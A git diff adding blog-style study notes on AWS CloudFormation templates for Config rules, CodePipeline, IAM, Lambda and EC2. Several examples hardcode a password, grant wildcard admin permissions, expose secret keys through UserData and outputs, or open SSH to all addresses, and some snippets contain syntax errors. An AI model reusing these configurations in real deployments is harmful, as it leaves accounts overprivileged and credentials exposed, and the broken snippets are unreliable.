String AWS/ + # Indicates whether AWS or the customer owns and manages the AWS Config rule. + SourceDetails: + - SourceDetail + # Provides the source and type of the event + # that causes AWS Config to evaluate your AWS resources. + SourceIdentifier: String + # For AWS Config managed rules, a predefined identifier from a list. + # - For example, IAM_PASSWORD_POLICY is a managed rule. + SourceIdentifier: "REQUIRED_TAGS" + # For custom rules, the identifier is the ARN of the rule's AWS Lambda function + # - such as arn:aws:lambda:us-east-2:123456789012:function:custom_rule_name. + SourceIdentifier: "arn:aws:lambda:us-east-2:123456789012:function:custom_rule_name" +``` + +Return values +- Ref + - When you pass the logical ID of this resource to the intrinsic Ref function, Ref returns the rule name, + - such as mystack-MyConfigRule-12ABCFPXHV4OV. + +- Fn::GetAtt + - The Fn::GetAtt intrinsic function returns a value for a specified attribute of this type. + - The following are the available attributes and sample return values. + - For more information about using the Fn::GetAtt intrinsic function, see Fn::GetAtt. + - Arn + - The Amazon Resource Name (ARN) of the AWS Config rule + - such as arn:aws:config:us-east-1:123456789012:config-rule/config-rule-a1bzhi. + + - Compliance.Type + - The compliance status of an AWS Config rule + - such as COMPLIANT or NON_COMPLIANT. + + - ConfigRuleId + - The ID of the AWS Config rule + - such as config-rule-a1bzhi. + +--- + + +## example + +### ConfigRuleForVolumeTags + +```yaml +ConfigRuleForVolumeTags: + Type: AWS::Config::ConfigRule + Properties: + InputParameters: + tag1Key: CostCenter + Scope: + ComplianceResourceTypes: + - "AWS::EC2::Volume" + Source: + Owner: AWS + SourceIdentifier: "REQUIRED_TAGS" +``` + +### Rule Using Lambda Function + +- creates a custom configuration rule that uses a Lambda function. +- The function checks whether an EC2 volume has the `AutoEnableIO` property set to true. +- Note that the configuration rule has a dependency on the Lambda policy so that the rule calls the function only after it's permitted to do so. + + +```yaml + +ConfigPermissionToCallLambda: + Type: AWS::Lambda::Permission + Properties: + FunctionName: + Fn::GetAtt: + - VolumeAutoEnableIOComplianceCheck + - Arn + Action: "lambda:InvokeFunction" + Principal: "config.amazonaws.com" + +VolumeAutoEnableIOComplianceCheck: + Type: AWS::Lambda::Function + Properties: + Code: + ZipFile: + !Sub | + var aws = require('aws-sdk'); + var config = new aws.ConfigService(); + var ec2 = new aws.EC2(); + exports.handler = function(event, context) { + compliance = evaluateCompliance(event, function(compliance, event) { + var configurationItem = JSON.parse(event.invokingEvent).configurationItem; + var putEvaluationsRequest = { + Evaluations: [{ + ComplianceResourceType: configurationItem.resourceType, + ComplianceResourceId: configurationItem.resourceId, + ComplianceType: compliance, + OrderingTimestamp: configurationItem.configurationItemCaptureTime + }], + ResultToken: event.resultToken + }; + config.putEvaluations(putEvaluationsRequest, function(err, data) { + if (err) context.fail(err); + else context.succeed(data); + }); + }); + }; + function evaluateCompliance(event, doReturn) { + var configurationItem = JSON.parse(event.invokingEvent).configurationItem; + var status = configurationItem.configurationItemStatus; + if (configurationItem.resourceType !== 'AWS::EC2::Volume' || event.eventLeftScope || (status !== 'OK' && status !== 'ResourceDiscovered')) + doReturn('NOT_APPLICABLE', event); + else ec2.describeVolumeAttribute({VolumeId: configurationItem.resourceId, Attribute: 'autoEnableIO'}, function(err, data) { + if (err) context.fail(err); + else if (data.AutoEnableIO.Value) doReturn('COMPLIANT', event); + else doReturn('NON_COMPLIANT', event); + }); + } + Handler: "index.handler" + Runtime: nodejs12.x + Timeout: 30 + Role: + Fn::GetAtt: + - LambdaExecutionRole + - Arn + + +ConfigRuleForVolumeAutoEnableIO: + Type: AWS::Config::ConfigRule + Properties: + ConfigRuleName: ConfigRuleForVolumeAutoEnableIO + Scope: + ComplianceResourceId: Ref: Ec2Volume + ComplianceResourceTypes: "AWS::EC2::Volume" + Source: + Owner: "CUSTOM_LAMBDA" + SourceDetails: + - EventSource: "aws.config" + MessageType: "ConfigurationItemChangeNotification" + SourceIdentifier: + Fn::GetAtt: + - VolumeAutoEnableIOComplianceCheck + - Arn + DependsOn: ConfigPermissionToCallLambda + +``` + + + +## Deploy Managed Config Rules using CloudFormation and CodePipeline + + +### manually + + +```bash +aws cloudformation create-stack \ + --stack-name cloud-trail-encryption-enabled \ + --template-url https://s3.amazonaws.com/aws-configservice-us-east-1/cloudformation-templates-for-managed-rules/CLOUD_TRAIL_ENCRYPTION_ENABLED.template \ + --capabilities CAPABILITY_NAMED_IAM \ + --disable-rollback +``` + + +### configuring a deployment pipeline in AWS CodePipeline + + +zip and upload all of the source files to S3 so that they can be committed to the CodeCommit repository that is automatically provisioned by the stack generated by the managed-config-rules-pipeline.yml template. + +```yaml +buildspec.yml +# AWS CodeBuild will use this buildspec to download the latest CloudFormation template for the Managed Config Rules that AWS manages. +version: 0.2 +phases: + build: + commands: + - wget https://s3.amazonaws.com/aws-configservice-us-east-1/cloudformation-templates-for-managed-rules/CLOUD_TRAIL_ENCRYPTION_ENABLED.template + post_build: + commands: + - echo Build completed on `date` +artifacts: + type: zip + files: + - CLOUD_TRAIL_ENCRYPTION_ENABLED.template + + +managed-config-rules-pipeline.yml +AWSTemplateFormatVersion: '2010-09-09' +Description: CodePipeline for Deploying Multiple Managed Config Rules +Parameters: + RepositoryBranch: + Description: The name of the branch for the CodeCommit repo + Type: String + Default: master + AllowedPattern: "[\\x20-\\x7E]*" + ConstraintDescription: Can contain only ASCII characters. + CodeCommitS3Bucket: + Description: S3 bucket that holds zip of source code for CodeCommit Repo + Type: String + CodeCommitS3Key: + Description: zipfile key located in CodeCommitS3Bucket + Type: String +Resources: + ArtifactBucket: + Type: AWS::S3::Bucket + DeletionPolicy: Delete + CodeBuildRole: + Type: AWS::IAM::Role + Properties: + Path: "/" + AssumeRolePolicyDocument: + Statement: + - Effect: Allow + Action: sts:AssumeRole + Principal: + Service: codebuild.amazonaws.com + Policies: + - PolicyName: codebuild-service + PolicyDocument: + Statement: + - Action: + - logs:* + - cloudwatch:* + - codebuild:* + - s3:* + Effect: Allow + Resource: "*" + Version: '2012-10-17' + CodeBuildConfigRules: + Type: AWS::CodeBuild::Project + DependsOn: CodeBuildRole + Properties: + Name: + Fn::Join: + - '' + - - Run + - "CodePipeline" + - Ref: AWS::StackName + Description: Build application + ServiceRole: + Fn::GetAtt: + - CodeBuildRole + - Arn + Artifacts: + Type: no_artifacts + Environment: + EnvironmentVariables: + - Name: S3_BUCKET + Value: + Ref: ArtifactBucket + Type: LINUX_CONTAINER + ComputeType: BUILD_GENERAL1_SMALL + Image: aws/codebuild/eb-nodejs-4.4.6-amazonlinux-64:2.1.3 + Source: + BuildSpec: buildspec.yml + Location: + Fn::Join: + - '' + - - https://git-codecommit. + - Ref: AWS::Region + - ".amazonaws.com/v1/repos/" + - Ref: AWS::StackName + Type: CODECOMMIT + TimeoutInMinutes: 10 + Tags: + - Key: Owner + Value: MyCodeBuildProject + MySNSTopic: + Type: AWS::SNS::Topic + CodeCommitRepo: + Type: AWS::CodeCommit::Repository + Properties: + RepositoryName: + Ref: AWS::StackName + RepositoryDescription: CodeCommit Repository for Config Rule solution + Code: + S3: + Bucket: !Ref CodeCommitS3Bucket + Key: !Ref CodeCommitS3Key + Triggers: + - Name: MasterTrigger + CustomData: + Ref: AWS::StackName + DestinationArn: + Ref: MySNSTopic + Events: all + CloudFormationTrustRole: + DependsOn: + - ArtifactBucket + Description: Creating service role in IAM for AWS CloudFormation + Properties: + AssumeRolePolicyDocument: + Statement: + - Action: sts:AssumeRole + Effect: Allow + Principal: + Service: cloudformation.amazonaws.com + Path: "/" + Policies: + - PolicyDocument: + Statement: + - Action: + - s3:PutObject + - s3:GetObject + - s3:GetObjectVersion + Effect: Allow + Resource: + - Fn::Join: + - '' + - - 'arn:aws:s3:::' + - Ref: ArtifactBucket + - Fn::Join: + - '' + - - 'arn:aws:s3:::' + - Ref: ArtifactBucket + - "/*" + - Action: + - sns:CreateTopic + - sns:DeleteTopic + - sns:ListTopics + - sns:GetTopicAttributes + - sns:SetTopicAttributes + - s3:CreateBucket + - s3:DeleteBucket + - events:* + - config:* + Effect: Allow + Resource: "*" + - Action: iam:PassRole + Effect: Allow + Resource: "*" + - Action: + - cloudformation:CreateChangeSet + - config:* + Effect: Allow + Resource: arn:aws:cloudformation:us-east-1:aws:transform/Serverless-2016-10-31 + PolicyName: CloudFormationRolePolicy + RoleName: + Fn::Join: + - "-" + - - stelligent + - Ref: AWS::StackName + - CloudFormation + Type: AWS::IAM::Role + CodePipelineRole: + Type: AWS::IAM::Role + Properties: + Path: "/" + AssumeRolePolicyDocument: + Statement: + - Effect: Allow + Action: sts:AssumeRole + Principal: + Service: codepipeline.amazonaws.com + Policies: + - PolicyName: codepipeline-service + PolicyDocument: + Statement: + - Action: + - s3:GetObject + - s3:GetObjectVersion + - s3:GetBucketVersioning + Resource: "*" + Effect: Allow + - Action: s3:PutObject + Resource: arn:aws:s3:::codepipeline* + Effect: Allow + - Action: + - s3:GetObject + - s3:GetObjectVersion + - s3:GetBucketVersioning + - s3:PutObject + - iam:PassRole + Resource: "*" + Effect: Allow + - Action: + - codecommit:* + - codebuild:* + - cloudformation:* + Resource: "*" + Effect: Allow + Version: '2012-10-17' + PipelineBucket: + Type: AWS::S3::Bucket + DeletionPolicy: Delete + Pipeline: + Type: AWS::CodePipeline::Pipeline + Properties: + RoleArn: !GetAtt CodePipelineRole.Arn + Properties: + RoleArn: + Fn::Join: + - '' + - - 'arn:aws:iam::' + - Ref: AWS::AccountId + - ":role/" + - Ref: CodePipelineRole + Stages: + - Name: Source + Actions: + - InputArtifacts: [] + Name: Source + ActionTypeId: + Category: Source + Owner: AWS + Version: '1' + Provider: CodeCommit + OutputArtifacts: + - Name: MyApp + Configuration: + BranchName: + Ref: RepositoryBranch + RepositoryName: + Ref: AWS::StackName + RunOrder: 1 + - Name: Build + Actions: + - InputArtifacts: + - Name: MyApp + Name: StoreConfigRules + ActionTypeId: + Category: Build + Owner: AWS + Version: '1' + Provider: CodeBuild + OutputArtifacts: + - Name: ConfigRuleTemplateArtifacts + Configuration: + ProjectName: + Ref: CodeBuildConfigRules + RunOrder: 1 + - Name: Deploy + Actions: + - InputArtifacts: + - Name: ConfigRuleTemplateArtifacts + Name: DeployCloudTrailEncryptionTemplate + ActionTypeId: + Category: Deploy + Owner: AWS + Version: '1' + Provider: CloudFormation + OutputArtifacts: [] + Configuration: + ActionMode: CHANGE_SET_REPLACE + ChangeSetName: pipeline-changeset + RoleArn: + Fn::GetAtt: + - CloudFormationTrustRole + - Arn + Capabilities: CAPABILITY_IAM + StackName: + Fn::Join: + - '' + - - "" + - Ref: AWS::StackName + - "-" + - Ref: AWS::Region + - "" + TemplatePath: ConfigRuleTemplateArtifacts::CLOUD_TRAIL_ENCRYPTION_ENABLED.template + RunOrder: 1 + - ActionTypeId: + Category: Deploy + Owner: AWS + Provider: CloudFormation + Version: 1 + Configuration: + ActionMode: CHANGE_SET_EXECUTE + ChangeSetName: pipeline-changeset + StackName: + Fn::Join: + - '' + - - "" + - Ref: AWS::StackName + - "-" + - Ref: AWS::Region + - "" + InputArtifacts: [] + Name: ExecuteChangeSetCloudTrailEncryption + OutputArtifacts: [] + RunOrder: 2 + ArtifactStore: + Type: S3 + Location: !Ref PipelineBucket +Outputs: + PipelineUrl: + Value: !Sub https://console.aws.amazon.com/codepipeline/home?region=${AWS::Region}#/view/${Pipeline} + Description: CodePipeline URL + +``` + + +```bash + +aws cloudformation create-stack \ + --stack-name managed-config-rules-pipeline \ + --template-body file:///home/ec2-user/environment/aws-compliance-workshop/lesson0-setup/managed-config-rules/managed-config-rules-pipeline.yml \ + --parameters ParameterKey=CodeCommitS3Bucket, ParameterValue=ccoa-mcr-$(aws sts get-caller-identity --output text --query 'Account') ParameterKey=CodeCommitS3Key, ParameterValue=ccoa-mcr-examples.zip \ + --capabilities CAPABILITY_NAMED_IAM \ + --disable-rollback + +``` + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-0-iam.md b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-0-iam.md new file mode 100644 index 00000000000..12c8095ffbf --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-0-iam.md @@ -0,0 +1,455 @@ +--- +title: AWS - CodeDevelop - CloudFormation - Template `AWS::IAM` +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +[toc] + +- ref + - [AWSdoc](https://docs.aws.amazon.com/zh_cn/AWSCloudFormation/latest/UserGuide/aws-resource-iam-role.html) + + +--- + +# AWS::IAM + +--- + +## AWS::IAM::User + +1. Declaring an IAM user resource + +The policy document named giveaccesstoqueueonly gives the user permission to perform all Amazon SQS actions on the Amazon SQS queue resource myqueue, and denies access to all other Amazon SQS queue resources. The Fn::GetAtt function gets the Arn attribute of the AWS::SQS::Queue resource myqueue. + +The policy document named giveaccesstotopiconly is added to the user to give the user permission to perform all Amazon SNS actions on the Amazon SNS topic resource mytopic and to deny access to all other Amazon SNS resources. The Ref function gets the ARN of the AWS::SNS::Topic resource mytopic. + + +```yaml +AWSTemplateFormatVersion: "2010-09-09" +Resources: + myuser: + # declare an AWS::IAM::User resource to create an IAM user. + Type: AWS::IAM::User + Properties: + # The user is declared with the path ("/") + # and a login profile with the password (myP@ssW0rd). + Path: "/" + LoginProfile: + Password: myP@ssW0rd + + Policies: + + - PolicyName: giveaccesstoqueueonly + PolicyDocument: + Version: '2012-10-17' + Statement: + # gives the user permission to perform all Amazon SQS actions on the Amazon SQS queue resource myqueue, + # and denies access to all other Amazon SQS queue resources. + # The Fn::GetAtt function gets the Arn attribute of the AWS::SQS::Queue resource myqueue. + - Effect: Allow + Action: sqs:* + Resource: !GetAtt myqueue.Arn + - Effect: Deny + Action: sqs:* + NotResource: !GetAtt myqueue.Arn + + - PolicyName: giveaccesstotopiconly + PolicyDocument: + Version: '2012-10-17' + Statement: + # give the user permission to perform all Amazon SNS actions on the Amazon SNS topic resource mytopic + # and to deny access to all other Amazon SNS resources. + # The Ref function gets the ARN of the AWS::SNS::Topic resource mytopic. + - Effect: Allow + Action: sns:* + Resource: !Ref mytopic + - Effect: Deny + Action: sns:* + NotResource: Ref mytopic +``` + + +--- + +## AWS::IAM::Role + +The AssumeRolePolicyDocument +- describes who can assume the role, and under what conditions. +- The trust policy that is associated with this role. Trust policies define which entities can assume the role. +- can associate only one trust policy with a role. + +The ManagedPolicyArns +- ARNs of policies that describe what someone assuming that role can do. +- reference them instead of copy their contents. +- A list of Amazon Resource Names (ARNs) of the IAM managed policies that you want to attach to the role. +- This way if the service adds new features or something that require new permissions, they'll just work instead of you having to go in and change them. + +Policies +- Adds or updates an inline policy document that is embedded in the specified IAM role. +- When you embed an inline policy in a role, the inline policy is used as part of the role's access (permissions) policy. +- The role's trust policy is created at the same time as the role. You can update a role's trust policy later. +- A role can also have an attached managed policy. + +```yaml +AWSTemplateFormatVersion: "2010-09-09" +Resources: + Role: + Type: 'AWS::IAM::Role' + Properties: + RoleName: my-role1 + Path: / + AssumeRolePolicyDocument: + Version: "2012-10-17" + Statement: + - Sid: myAssumePolicy + Effect: Allow + Action: 'sts:AssumeRole' + Principal: + Service: ec2.amazonaws.com + AWS: !Sub 'arn:aws:iam::12345678:role/role2' + Policies: + - PolicyName: myPolicy + PolicyDocument: + Version: "2012-10-17" + Statement: + - Effect: Allow + Action: '*' + Resource: '*' + # apply your existing IAM managed policy to your new IAM role + ManagedPolicyArns: + - 'arn:aws:iam::aws:policy/ReadOnlyAccess' +``` + + + +### IAM Role with Embedded Policy and Instance Profiles +- This example shows an embedded policy in the `AWS::IAM::Role`. +- The policy is specified inline in the Policies property of the `AWS::IAM::Role`. + +```yaml +AWSTemplateFormatVersion: "2010-09-09" +Resources: + + RootRole: + Type: 'AWS::IAM::Role' + Properties: + AssumeRolePolicyDocument: + # policy yaml + Version: "2012-10-17" + Statement: + - Sid: mypolicy + Effect: Allow + Principal: + Service: ec2.amazonaws.com + Action: 'sts:AssumeRole' + + Path: / + Policies: + - PolicyName: root + PolicyDocument: + Version: "2012-10-17" + Statement: + - Effect: Allow + Action: '*' + Resource: '*' + + RootInstanceProfile: + Type: 'AWS::IAM::InstanceProfile' + Properties: + Path: / + Roles: + - !Ref RootRole +``` + +### IAM Role with External Policy and Instance Profiles +- the Policy and InstanceProfile resources are specified externally to the IAM Role. +- They refer to the role by specifying its name, "RootRole", in their respective Roles properties. + +```yaml +AWSTemplateFormatVersion: "2010-09-09" +Resources: + + RootRole: + Type: "AWS::IAM::Role" + Properties: + AssumeRolePolicyDocument: + Version: "2012-10-17" + Statement: + - Effect: "Allow" + Principal: + Service: "ec2.amazonaws.com" + Action: "sts:AssumeRole" + Path: "/" + + RolePolicies: + Type: "AWS::IAM::Policy" + Properties: + PolicyName: "root" + PolicyDocument: + Version: "2012-10-17" + Statement: + - Effect: "Allow" + Action: "*" + Resource: "*" + Roles: + - Ref: "RootRole" + + RootInstanceProfile: + Type: "AWS::IAM::InstanceProfile" + Properties: + Path: "/" + Roles: + - Ref: "RootRole" + +``` + + + +### IAM role with EC2 + + + +```yaml +# the instance profile is referenced by the IamInstanceProfile property of the EC2 Instance. +# Both the instance policy and role policy reference AWS::IAM::Role. +AWSTemplateFormatVersion: '2010-09-09' +Resources: + + RootRole: + Type: AWS::IAM::Role + Properties: + AssumeRolePolicyDocument: + Version: '2012-10-17' + Statement: + - Effect: Allow + Principal: + Service: ec2.amazonaws.com + Action: sts:AssumeRole + Path: "/" + + RolePolicies: + Type: AWS::IAM::Policy + Properties: + PolicyName: root + PolicyDocument: + Version: '2012-10-17' + Statement: + - Effect: Allow + Action: "*" + Resource: "*" + Roles: !Ref RootRole + + RootInstanceProfile: + Type: AWS::IAM::InstanceProfile + Properties: + Path: "/" + Roles: !Ref RootRole + + myEC2Instance: + Type: AWS::EC2::Instance + Version: '2009-05-15' + Properties: + ImageId: ami-0ff8a91507f77f867 + InstanceType: m1.small + Monitoring: 'true' + DisableApiTermination: 'false' + IamInstanceProfile: !Ref RootInstanceProfile + +``` + + +### IAM role with AutoScaling group + +```yaml +AWSTemplateFormatVersion: '2010-09-09' + +Resources: + + RootRole: + Type: AWS::IAM::Role + Properties: + AssumeRolePolicyDocument: + Version: '2012-10-17' + Statement: + - Effect: Allow + Principal: + Service: ec2.amazonaws.com + Action: sts:AssumeRole + Path: "/" + + RolePolicies: + Type: AWS::IAM::Policy + Properties: + PolicyName: root + PolicyDocument: + Version: '2012-10-17' + Statement: + - Effect: Allow + Action: "*" + Resource: "*" + Roles: !Ref RootRole + + RootInstanceProfile: + Type: AWS::IAM::InstanceProfile + Properties: + Path: "/" + Roles: !Ref RootRole + + myLCOne: + Type: AWS::AutoScaling::LaunchConfiguration + Version: '2009-05-15' + Properties: + ImageId: ami-0ff8a91507f77f867 + InstanceType: m1.small + InstanceMonitoring: 'true' + IamInstanceProfile: !Ref RootInstanceProfile + + myASGrpOne: + Type: AWS::AutoScaling::AutoScalingGroup + Version: '2009-05-15' + Properties: + AvailabilityZones: "us-east-1a" + LaunchConfigurationName: !Ref myLCOne + MinSize: '0' + MaxSize: '0' + HealthCheckType: EC2 + HealthCheckGracePeriod: '120' +``` + + + + + +--- + + +## AWS::IAM::AccessKey + +1. Declaring an IAM access key resource + + +```yaml +# The myaccesskey resource creates an access key +# and assigns it to an IAM user that is declared as an AWS::IAM::User resource in the template. +myaccesskey: + Type: AWS::IAM::AccessKey + Properties: + UserName: !Ref myuser + + +# get the secret key for an AWS::IAM::AccessKey resource using the Fn::GetAtt function. +# The only time that you can get the secret key for an AWS access key is when it is created. +# One way to retrieve the secret key is to put it into an Output value. +# You can get the access key using the Ref function. +# The following Output value declarations get the access key and secret key for myaccesskey. +AccessKeyformyaccesskey: + Value: !Ref myaccesskey +SecretKeyformyaccesskey: + Value: !GetAtt myaccesskey.SecretAccessKey + + +# You can also pass the AWS access key and secret key to an EC2 instance or Auto Scaling group defined in the template. +# uses the UserData property to pass the access key and secret key for the myaccesskey resource. +myinstance: + Type: AWS::EC2::Instance + Properties: + AvailabilityZone: "us-east-1a" + ImageId: ami-0ff8a91507f77f867 + UserData: + Fn::Base64: !Sub "ACCESS_KEY=${myaccesskey}&SECRET_KEY=${myaccesskey.SecretAccessKey} + +``` + + +--- + + +## AWS::IAM::Group + +1. Declaring an IAM group resource + +```yaml +mygroup: + Type: AWS::IAM::Group + Properties: + # The group has a path ("/myapplication/"). + Path: "/myapplication/" + Policies: + - PolicyName: myapppolicy + # The policy document named myapppolicy is added to the group + # to allow the group's users to perform all Amazon SQS actions on the Amazon SQS queue resource myqueue and deny access to all other Amazon SQS resources except myqueue. + PolicyDocument: + Version: '2012-10-17' + Statement: + - Effect: Allow + Action: sqs:* + Resource: !GetAtt myqueue.Arn + # To assign a policy to a resource, IAM requires the Amazon Resource Name (ARN) for the resource. + # Fn::GetAtt function gets the ARN of the AWS::SQS::Queue resource queue. + - Effect: Deny + Action: sqs:* + NotResource: !GetAtt myqueue.Arn + +``` + +2. Adding users to a group + + +```yaml + +# The AWS::IAM::UserToGroupAddition resource adds users to a group. +# the addUserToGroup resource adds the following users to an existing group named myexistinggroup2: +# the existing user existinguser1 and the user myuser which is declared as an AWS::IAM::User resource in the template. +addUserToGroup: + Type: AWS::IAM::UserToGroupAddition + Properties: + GroupName: myexistinggroup2 + Users: + - existinguser1 # 1st user + - !Ref myuser # 2nd user +``` + + + +## AWS::IAM::Policy + +1. Declaring an IAM policy + +```yaml +# create a policy and apply it to multiple groups using an AWS::IAM::Policy resource named mypolicy. +mypolicy: + Type: AWS::IAM::Policy + Properties: + PolicyName: mygrouppolicy + PolicyDocument: + Version: '2012-10-17' + Statement: + #a PolicyDocument property that allows GetObject, PutObject, and PutObjectAcl actions on the objects in the S3 bucket represented by the ARN arn:aws:s3:::myAWSBucket + - Effect: Allow + Action: + - s3:GetObject + - s3:PutObject + - s3:PutObjectAcl + Resource: arn:aws:s3:::myAWSBucket/* + # applies the policy to an existing group named myexistinggroup1 and a group mygroup + Groups: + - myexistinggroup1 + - !Ref mygroup + Users: + - existinguser1 # 1st user + - !Ref myuser # 2nd user +``` + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-0-lambda.md b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-0-lambda.md new file mode 100644 index 00000000000..bdbfe08c496 --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-0-lambda.md @@ -0,0 +1,169 @@ +--- +title: AWS - CodeDevelop - CloudFormation - Template `AWS::Lambda` +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +[toc] + +- ref + - [aws doc](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html) + +--- + +# Lambda + + +--- + +## AWS::Lambda::Function + + AWS::Lambda::Function + +- To create a function, you need a deployment package and an execution role. +- The **deployment package** is a `.zip file archive` or `container image` that contains your function code. +- The **execution role** grants the function permission to use AWS services, such as Amazon CloudWatch Logs for log streaming and AWS X-Ray for request tracing. + +- package type + - Image + - if the deployment package is a container image. + - the code property must include the URI of a container image in the Amazon ECR registry. + - do not need to specify the handler and runtime properties + - Zip + - if the deployment package is a .zip file archive. + - the code property specifies the location of the .zip file. + - must specify the handler and runtime properties + - You can use **code signing** if your deployment package is a .zip file archive. + - To enable code signing for this function, specify the ARN of a code-signing configuration. + - When a user attempts to deploy a code package with `UpdateFunctionCode`, Lambda checks that the code package has a valid signature from a trusted publisher. + - The code-signing configuration includes set set of signing profiles, which define the trusted publishers for this function. + + +```yaml +AWSTemplateFormatVersion: '2010-09-09' +Description: Lambda function with cfn-response. +Resources: + primer: + Type: AWS::Lambda::Function + Properties: + Description: Invoke a function during stack creation. + FunctionName: String + Code: + ZipFile: | + var aws = require('aws-sdk') + var response = require('cfn-response') + exports.handler = function(event, context) { + console.log("REQUEST RECEIVED:\n" + JSON.stringify(event)) + // For Delete requests, immediately send a SUCCESS response. + if (event.RequestType == "Delete") { + response.send(event, context, "SUCCESS") + return + } + var responseStatus = "FAILED" + var responseData = {} + var functionName = event.ResourceProperties.FunctionName + var lambda = new aws.Lambda() + lambda.invoke({ FunctionName: functionName }, function(err, invokeResult) { + if (err) { + responseData = {Error: "Invoke call failed"} + console.log(responseData.Error + ":\n", err) + } + else responseStatus = "SUCCESS" + response.send(event, context, responseStatus, responseData) + }) + } + CodeSigningConfigArn: String + # Not currently supported by AWS CloudFormation. + DeadLetterConfig: + # A dead letter queue configuration that specifies the queue or topic where Lambda sends asynchronous events when they fail processing. + DeadLetterConfig + Environment: + # Environment variables that are accessible from function code during execution. + Variables: + Key : Value + Variables: + databaseName: lambdadb + databaseUser: admin + FileSystemConfigs: + # Connection settings for an Amazon EFS file system. + # To connect a function to a file system, a mount target must be available in every Availability Zone that your function connects to. If your template contains an AWS::EFS::MountTarget resource, you must also specify a DependsOn attribute to ensure that the mount target is created or updated before the function. + - FileSystemConfig + Handler: index.handler + # The name of the method within your code that Lambda calls to execute your function. The format includes the file name. It can also include namespaces and other qualifiers, depending on the runtime. + ImageConfig: + # Configuration values that override the container image Dockerfile settings. + ImageConfig + KmsKeyArn: String + # The ARN of the AWS KMS key used to encrypt function's environment variables. If it's not provided, AWS Lambda uses a default service key. + Layers: + # A list of function layers to add to the function's execution environment. Specify each layer by its ARN, including the version. + - String + MemorySize: Integer + PackageType: Image | Zip + ReservedConcurrentExecutions: Integer + # The number of simultaneous executions to reserve for the function. + Role: arn:aws:iam::123456789012:role/lambda-role + # The Amazon Resource Name (ARN) of the function's execution role. + Runtime: nodejs12.x + Tags: + # A list of tags to apply to the function. + - Tag + Timeout: Integer + # The amount of time that Lambda allows a function to run before stopping it. The default is 3 seconds. The maximum allowed value is 900 seconds. + TracingConfig: + # Set Mode to Active to sample and trace a subset of incoming requests with AWS X-Ray. + Mode: Active + VpcConfig: + # For network connectivity to AWS resources in a VPC, specify a list of security groups and subnets in the VPC. + VpcConfig +``` + + +code + + +```yaml +Code: + ImageUri: String + S3Bucket: String + S3Key: String + S3ObjectVersion: String + # For versioned objects, the version of the deployment package object to use. + ZipFile: String + + Code: + S3Bucket: my-bucket + S3Key: function.zip + + Code: + ZipFile: | + var aws = require('aws-sdk') + var response = require('cfn-response') +``` + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-EC2forCodeBuild.md b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-EC2forCodeBuild.md new file mode 100644 index 00000000000..170f3502c01 --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-EC2forCodeBuild.md @@ -0,0 +1,634 @@ +--- +title: AWS - CodeDevelop - CloudFormation - Template setup EC2forCodeBuild +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +[toc] + +--- + +# Template setup EC2forCodeBuild + +Automate provisioning of CodeBuild with CodePipeline, CodeCommit, and CodeDeploy. + +**WARNING** This template creates one or more Amazon EC2 instances. You will be billed for the AWS resources used if you create a stack from this template.", + +```json + +// example from AWS WhitePaper + +{ + "Description":"create instance for codedeploy", + "AWSTemplateFormatVersion":"2010-09-09", + "Parameters":{ + // "EmailAddress":{ + // "Description":"Email Address for sending SNS notifications for CodeCommit", + // "Type":"String" + // }, + // "RepositoryBranch":{ + // "Description":"The name of the branch for the CodeCommit repo", + // "Type":"String", + // "Default":"master", + // "AllowedPattern":"[\\x20-\\x7E]*", + // "ConstraintDescription":"Can contain only ASCII characters." + // }, + "TagKey":{ + "Description":"The EC2 tag key that is associated with EC2 instances on which CodeDeploy agent is installed, target for deployments", + "Type":"String", + "Default":"Name", + "AllowedPattern": "[\x20-\\x7E\*]", + "ConstraintDescription":"Can contain only ASCII characters." + }, + "TagValue":{ + "Description":"The EC2 tag value that identifies this as a target for deployments.", + "Type":"String", + "Default":"CodeDeployEC2Tag", + "AllowedPattern":"[\\x20-\\x7E]*", + "ConstraintDescription":"Can contain only ASCII characters." + }, + "KeyPairName":{ + "Description":"Name of an existing Amazon EC2 key pair to enable SSH access to the instances.", + "Type":"String", + "MinLength":"1", + "MaxLength":"255", + "AllowedPattern":"[\\x20-\\x7E]*", + "ConstraintDescription":"Can contain only ASCII characters." + }, + "InstanceType":{ + "Description":"EC2 instance type", + "Type":"String", + "Default": "ta.micro", + "ConstraintDescription":"a valid EC2 type." + }, + "InstanceCount":{ + "Description":"Number of the ec2 instance", + "Type":"Number", + "Default": "1", + "ConstraintDescription":"a valid EC2 type." + }, + "OperatingSystem":{ + "Description":"ec2 instance OS", + "Type":"String", + "Default": "Linux", + "ConstraintDescription":"windows or linux", + "AllowedValues": ["Linux", "Windows"] + }, + "SSHLocation":{ + "Description":"the IP that can connect to ec2 by ssh", + "Type":"String", + "MinLength":"9", + "MaxLength":"18", + "Default": "0.0.0.0/0", + "AllowedPattern":"(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2", + "ConstraintDescription":"in format of x.x.x.x/x" + } + }, + "Mappings": { + "RegionOS2AMI": { + "us-east-1":{ + "Linux": "ami-xxx", + "Windows": "ami-ssss" + }, + "us-east-2":{ + "Linux": "ami-xxx", + "Windows": "ami-ssss" + }, + "us-west-1":{ + "Linux": "ami-xxx", + "Windows": 